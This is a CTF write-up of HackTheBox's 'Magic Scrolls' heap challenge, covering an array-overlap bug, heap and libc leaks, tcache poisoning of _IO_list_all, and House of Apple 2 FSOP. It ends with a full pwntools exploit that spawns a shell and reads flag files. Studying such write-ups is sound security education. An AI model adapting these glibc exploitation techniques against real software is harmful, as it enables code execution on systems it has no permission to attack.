pwnfreemedium

Magic Scrolls

hackthebox

Task: glibc 2.37 menu-based heap pwn where a global magic_numbers[] array overlaps the spells[] pointer table, giving an arbitrary 8-byte write into two heap-pointer slots. Solution: build arbitrary read/free primitives from the overlap, leak heap (safe-linking) and libc (unsorted bin), perform a double-free-key-safe overlap-poison tcache write of _IO_list_all, and trigger House of Apple 2 FSOP via exit() for a shell.

$ ls tags/ techniques/
tcache_poisoningunsorted_bin_libc_leakhouse_of_apple_2array_overlap_bugoverlap_poison_arbitrary_writesafe_linking_recoveryself_introspection_via_arbitrary_readfsop_exit_trigger

Magic Scrolls — HackTheBox

Description

Legends say that if magical numbers align in the right sequence, magic will happen.

A medium-difficulty heap-exploitation challenge. We are given a PIE ELF64 binary magic (not stripped) bundled with its own loader and libc (Debian GLIBC 2.37-7), plus a Dockerfile (ubuntu:22.04 + socat). The remote service runs:

socat tcp-l:1337,reuseaddr,fork EXEC:./magic

Goal: pop a shell on the remote and read flag.txt.

Analysis

Protections

Full RELRO | Stack Canary | NX | PIE

Crucially the libc is glibc 2.37, where __free_hook and __malloc_hook have been removed (the symbols may still exist but are never dereferenced by the allocator). That kills the classic hook-overwrite RCE path — code execution must come from FSOP (we use House of Apple 2).

Program behavior

main first reads a "magic charm":

read(0, buf, 0x40); if (strcmp(buf, "Alohomora") == 0) power = 4; // unlocks the bug

Then a 6-option menu loops:

OptNameEffect
1update_magic_numberswrite a magic number, and (if power!=0) project two of them onto spells[0]/[1]
2create_spellsize=read(0,buf,0x1ff); spells[c]=malloc(size); memcpy; c++
3remove_spellfree(spells[idx]); spells[idx]=0; spell_len[idx]=0
4read_spellprint super_spell_len-1 bytes from super_spell (arbitrary read)
5set_favorite_spellfirst call selects a spell; later calls only refresh the pointer
6exitexit()

Global memory map (offsets from PIE base)

0x5010 super_spell_set   int32   (init -1)
0x5060 magic_numbers[0..3]   4 x int64
0x5080 spells[0..15]         16 x ptr     <-- magic_numbers[4] == spells[0]
0x5100 spell_len[0..15]      16 x int64        magic_numbers[5] == spells[1]
0x5180 super_spell  ptr
0x5188 spell_count  int32  (monotonic, NEVER decremented)
0x5190 super_spell_len  int64
0x5198 power  int32  (0 default, 4 after "Alohomora")

The core bug — array overlap

The title's "magical numbers align in the right sequence" is a hint: magic_numbers[] is only declared with 4 logical entries, but update_magic_numbers projects them onto the next array in memory, which is the spells[] pointer table:

// inside update_magic_numbers, only when power != 0: if (mn[0]==0 && mn[2]==0) memset(&spells[0],0,1); else spells[0] = mn[0] & mn[2]; if (mn[1]==0 && mn[3]==0) memset(&spells[1],0,1); else spells[1] = mn[1] & mn[3];

So with power=4:

  • Setting mn[0]=V, mn[2]=-1 makes spells[0] = V & 0xffff...ff = Varbitrary pointer write into spells[0].
  • The memset(...,1) "zero" branch only clears the low byte of the current pointer → a partial overwrite primitive (preserves the high heap bytes).

Because create_spell's size is just read()'s return value (no overflow) and chunk sizes are fully attacker-chosen, the entire challenge is built on this single overlap write.

Derived primitives

  • P1 set spells[0]=Vupdate(1, V), then update(3, -1).
  • P2 set spells[1]=Vupdate(2, V), then update(4, -1).
  • P3 zero low byte of a heap pointer in a slot — set both contributing magic numbers to 0, triggering the memset(&slot,0,1) branch (keeps the high heap bytes → turns a chunk pointer into a page/segment-aligned address).
  • P4 arbitrary read (~0xff bytes) — lock a favorite of length 0x100, then repeatedly P1/P2 the slot to any address and refresh+read. super_spell_len stays locked at 0x100 while super_spell follows the slot.
  • P5 arbitrary free — P1 the slot to X, remove_spell it → free(X).

The favorite mechanic is the key enabler of arbitrary read: the length is locked on first selection, but every later set_favorite call simply refreshes super_spell = spells[idx]. So we point the slot anywhere and read a fixed 0x100-byte window.

Solution

1. Unlock the bug

Send Alohomora to the charm prompt → power=4.

2. Heap leak via safe-linking

create s0 (0x10) and s1 (0x100); set_favorite(1) locks super_spell_len=0x100. Free s0 → tcache[0x20] with a single entry, so under safe-linking its fd = chunk >> 12 (next pointer is NULL because it is the only entry). Use P3 to zero the low byte of spells[1] so it points to heap_base + 0x200, then refresh+read 0x100 bytes. The mangled tcache fd lands at window offset 0xa0, giving heap_base = fd << 12.

3. Libc leak via unsorted bin

Fill tcache[0x110] with 7 freed chunks, plus a guard 0x80 chunk to prevent top consolidation, then free an 8th 0x110 chunk → it goes to the unsorted bin, whose fd/bk point into main_arena inside libc. Using P4, scan heap windows for a 0x7f.... qword; recover libc_base = leaked_fd - 0x1d3ce0 (the main_arena offset). Verify by reading _IO_2_1_stdout_ + 0xd8 and checking the vtable equals _IO_file_jumps — this confirms the libc base before any write happens.

Notably, all introspection (heap base, libc base, even the OUTER chunk address during development) is performed with the program's own arbitrary-read primitive, not just gdb — the exploit is fully self-contained and robust on remote.

4. Arbitrary write via "overlap-poison" (double-free-key-safe)

A naive tcache double-free trips the glibc 2.37 double-free detection (the per-chunk e->key == tcache check). We avoid it entirely by poisoning the fd of a fake chunk that lives inside a larger chunk we control, so we never free the same address twice:

  1. OUTER (0x1f0 request → 0x200 chunk) is created with a fake 0x20 chunk header at OUTER+0x40 (size field at OUTER+0x38 = 0x21).
  2. Create R20 (0x10) and free it → tcache[0x20] count 1.
  3. P1 sets spells[0] = OUTER+0x40 and remove_spell(0) → frees the fake chunk → tcache[0x20]: fake → R20 (count 2). The fake chunk's fd (at OUTER+0x40) now holds mangle(R20).
  4. Free OUTER → tcache[0x200]. Then re-create OUTER with a payload that (a) rewrites fake.fd = PROTECT_PTR(OUTER+0x40, _IO_list_all) and (b) embeds the compact fake FILE at OUTER+0x50. Now tcache[0x20]: fake → _IO_list_all.
  5. create(0x10) pops the fake chunk; create(p64(FB)) pops _IO_list_all itself and the memcpy writes FB (the fake FILE address) there — an 8-byte arbitrary write to _IO_list_all.

Why this dodges the double-free key check: we only ever pass each real address to free once. The "duplicate" entry is the fake chunk header crafted inside OUTER; its e->key field is attacker-controlled data (just bytes inside OUTER's payload), so the integrity check sees a clean key and never aborts. The OUTER offset from the heap base is deterministic for this build (0xce0) because the allocation sequence is fixed; only ASLR randomizes the base, which we already leaked. The chain uses exactly the 16 create_spell slots (indices 0..15).

5. RCE via House of Apple 2 (FSOP through exit)

FB is a compact fake FILE whose _wide_data points to itself. On exit(), _IO_flush_all_lockp walks _IO_list_all = FB, dispatches _IO_wfile_overflow_IO_wdoallocbuf (because wide._IO_buf_base == NULL) → wide_vtable->__doallocate(fp), which we set to system. With _flags = " sh", this becomes system(" sh") → shell.

Key fake-FILE fields (compact, _wide_data = FB):

  • _flags = " sh\x00..."system(" sh")
  • FILE._mode = 1, FILE.vtable = _IO_wfile_jumps, FILE._wide_data = FB, FILE._chain = 0
  • wide._IO_write_base = 0, wide._IO_write_ptr = 1, wide._IO_buf_base = 0 (triggers _IO_wdoallocbuf)
  • wide._wide_vtable = FB+0x18, and *(FB+0x18+0x68) = system

Trigger: menu option 6 → exit() → shell → cat flag.txt.

libc 2.37 offsets (challenge libc)

system            = 0x4c920
_IO_2_1_stdout_   = 0x1d4780
_IO_list_all      = 0x1d4680
_IO_wfile_jumps   = 0x1d0240
main_arena (unsorted fd) = 0x1d3ce0

Environment note

The host was macOS (cannot run the Linux ELF natively). We built a ubuntu:22.04 Docker dev image with pwntools/gdb and tested there. The binary uses its bundled loader (interp=./ld-2.37.so, RUNPATH=.), so process('./magic') loads glibc 2.37 correctly without patchelf.

Full exploit

#!/usr/bin/env python3 """ HackTheBox - Magic Scrolls (pwn) - glibc 2.37 heap Primitives: P1 set spells[0]=V ; P2 set spells[1]=V ; P3 zero low byte ; P4 arb-read 0xff bytes ; P5 arb-free Plan: Alohomora -> heap leak (P3+tcache fd) -> libc leak (unsorted bin, scan) -> arb write via overlap-poison -> House of Apple 2 on _IO_list_all -> shell. """ from pwn import * import sys, os context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so.6', checksec=False) def conn(): if len(sys.argv) > 2: return remote(sys.argv[1], int(sys.argv[2])) if os.environ.get('REMOTE'): h, p = os.environ['REMOTE'].split(':') return remote(h, int(p)) return process('./magic') # ---------- menu helpers ---------- def menu(io, c): io.recvuntil(b'> ') io.sendline(str(c).encode()) def update_magic(io, idx, value): menu(io, 1) io.recvuntil(b'Index for magic number: ') io.sendline(str(idx).encode()) io.recvuntil(b'Magic number: ') if value < 0: value += 1 << 64 if value >= 1 << 63: value -= 1 << 64 io.sendline(str(value).encode()) def create(io, data): menu(io, 2) io.recvuntil(b'Spell: ') assert 1 <= len(data) <= 0x1ff io.send(data) def remove_spell(io, idx): menu(io, 3) io.recvuntil(b'Index: ') io.sendline(str(idx).encode()) def set_favorite(io, idx=None): menu(io, 5) if idx is not None: io.recvuntil(b'Favorite spell: ') io.sendline(str(idx).encode()) def set_spells0(io, value): # P1 update_magic(io, 1, value) update_magic(io, 3, -1) def set_spells1(io, value): # P2 update_magic(io, 2, value) update_magic(io, 4, -1) def zero_low_spells1(io): # P3 on spells[1] update_magic(io, 2, 0) update_magic(io, 4, 0) def _clean(raw): """strip decorative ':-:' + whitespace from read_spell output region""" region = raw out = b'' i = 0 while i < len(region): if region[i:i+3] == b':-:': i += 3 while i < len(region) and region[i:i+1] in (b'\n', b' ', b'\t'): i += 1 if region[i:i+3] == b':-:': i += 3 continue out += region[i:i+1] i += 1 return out def read_spell_raw(io): menu(io, 4) raw = io.recvuntil(b'1) Update', drop=True) return raw def read_at(io, addr, want=0xf8): """P4: read ~0xff bytes from addr (favorite is index 1, super_spell_len locked 0x100).""" set_spells1(io, addr) set_favorite(io) # refresh branch: super_spell = spells[1] raw = read_spell_raw(io) data = _clean(raw[1024:]) # spell bytes live after the leading banner art return data # ---------- exploit ---------- def main(): io = conn() io.recvuntil(b'Enter magic charm') io.recvuntil(b'> ') io.sendline(b'Alohomora') log.success('power=4') # ===== HEAP LEAK ===== create(io, b'A' * 0x10) # s0 -> chunk 0x20 create(io, b'B' * 0x100) # s1 -> chunk 0x110 set_favorite(io, 1) # lock super_spell_len=0x100, super_spell_set=1 remove_spell(io, 0) # free s0 -> tcache[0x20]; fd = (chunk>>12) zero_low_spells1(io) # spells[1] low byte -> 0 (= heap_base+0x200) set_favorite(io) # refresh raw = read_spell_raw(io) data = _clean(raw[1024:]) fd = u64(data[0xa0:0xa8].ljust(8, b'\x00')) heap = fd << 12 log.success(f'heap base = {hex(heap)}') assert heap & 0xfff == 0 and 0x500000000000 < heap < 0x600000000000, 'heap leak bad' # ===== LIBC LEAK via unsorted bin (robust scan) ===== for _ in range(7): create(io, b'C' * 0x100) # s2..s8 (chunk 0x110) create(io, b'D' * 0x100) # s9 (chunk 0x110) -> will be unsorted create(io, b'E' * 0x80) # s10 guard (prevents consolidation with top) for i in range(2, 9): remove_spell(io, i) # fill tcache[0x110] remove_spell(io, 9) # s9 -> unsorted bin libc_base = None for off in range(0x200, 0x1200, 0xf0): d = read_at(io, heap + off) for k in range(0, len(d) - 8, 8): v = u64(d[k:k+8]) if 0x7f0000000000 <= v < 0x800000000000: cand = v - 0x1d3ce0 if cand & 0xfff == 0: libc_base = cand log.info(f'candidate libc fd={hex(v)} at heap+{hex(off)}+{hex(k)} -> base {hex(cand)}') break if libc_base: break assert libc_base, 'no libc pointer found in heap scan' # verify libc base by reading _IO_2_1_stdout_ vtable == _IO_file_jumps libc.address = libc_base vt = read_at(io, libc.sym._IO_2_1_stdout_ + 0xd8) vtable = u64(vt[0:8]) log.info(f'stdout vtable read = {hex(vtable)} ; _IO_file_jumps = {hex(libc.sym._IO_file_jumps)}') if vtable != libc.sym._IO_file_jumps: log.warning('vtable mismatch -> libc base likely wrong, aborting for retune') else: log.success(f'libc base = {hex(libc_base)} (verified)') log.info(f'system={hex(libc.sym.system)} stdout={hex(libc.sym._IO_2_1_stdout_)} ' f'wfile_jumps={hex(libc.sym._IO_wfile_jumps)} list_all={hex(libc.sym._IO_list_all)}') def protect(pos, ptr): return (pos >> 12) ^ ptr def rdq(addr): d = read_at(io, addr) return u64(d[0:8]) # ===== ARBITRARY WRITE via overlap-poison (bin 0x20) ===== # OUTER (0x1f0) contains a fake 0x20 chunk at OUTER+0x40 (size @ +0x38 = 0x21) PAY1 = fit({0x38: p64(0x21)}, length=0x1f0) create(io, PAY1) # idx11 OUTER create(io, b'R' * 0x10) # idx12 R20 (pops s0 from tcache[0x20]) remove_spell(io, 12) # free R20 -> tcache[0x20] count1 if os.environ.get('DBG'): remove_spell(io, 11) # free OUTER -> tcache[0x200] outer = rdq(heap + 0x180) # entries[0x1e] = tcache[0x200] head log.success(f'OUTER_user = {hex(outer)} OFF = {hex(outer - heap)}') io.close(); return # deterministic heap offset (same binary+libc => same layout, independent of ASLR) OUTER_OFF = int(os.environ.get('OUTER_OFF', '0xce0'), 0) outer = heap + OUTER_OFF fake_user = outer + 0x40 FB = outer + 0x50 # fake FILE base (compact, _wide_data = FB) set_spells0(io, fake_user) remove_spell(io, 0) # free fake -> tcache[0x20]: fake -> R20 (count2) # build compact House-of-Apple-2 fake FILE at FB (placed inside OUTER via reOUTER) ff = { 0x00: b' sh\x00\x00\x00\x00', # _flags -> system(" sh") 0x18: p64(0), # wide._IO_write_base 0x20: p64(1), # wide._IO_write_ptr (>base) ; FILE._IO_write_base 0x30: p64(0), # wide._IO_buf_base = NULL -> wdoallocbuf 0x68: p64(0), # FILE._chain = 0 0x80: p64(libc.sym.system), # wide vtable[0x68] (vtable = FB+0x18) 0x88: p64(0), # FILE._lock target (=0) 0xa0: p64(FB), # FILE._wide_data = FB 0xc0: p64(1), # FILE._mode = 1 0xd8: p64(libc.sym._IO_wfile_jumps), # FILE.vtable 0xe0: p64(FB + 0x18), # wide._wide_vtable = FB+0x18 } ff_bytes = fit({k + 0x50: v for k, v in ff.items()}) # shift into OUTER at +0x50 target = libc.sym._IO_list_all PAY2 = fit({0x38: p64(0x21), 0x40: p64(protect(fake_user, target))}, length=0x1f0) PAY2 = bytearray(PAY2) fb = bytearray(ff_bytes) for i, b in enumerate(fb): if 0x50 <= i < 0x1f0: PAY2[i] = b PAY2 = bytes(PAY2) remove_spell(io, 11) # free OUTER -> tcache[0x200] create(io, PAY2) # idx13 reOUTER: pop OUTER, poison fake.fd=mangle(_IO_list_all) create(io, b'Y' * 0x10) # idx14 popfake: pop fake; entries[0]=_IO_list_all create(io, p64(FB)) # idx15 poptarget: pop _IO_list_all, write FB there (8 bytes) log.success(f'_IO_list_all -> {hex(FB)} (fake FILE)') # trigger: exit -> _IO_flush_all_lockp -> fake FILE -> system(" sh") io.recvuntil(b'> ', timeout=2) # menu prompt after last create io.sendline(b'6') # choice >5 -> default -> exit() -> shell sleep(1.0) io.sendline(b'echo SHELL_OK; cat flag.txt; cat /home/ctf/flag.txt 2>/dev/null; cat /flag* 2>/dev/null') sleep(1.0) try: data = io.recvrepeat(4) print('---- shell output ----') print(data.decode(errors='replace')) except Exception as e: print('recv err', e) io.interactive() if __name__ == '__main__': main()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups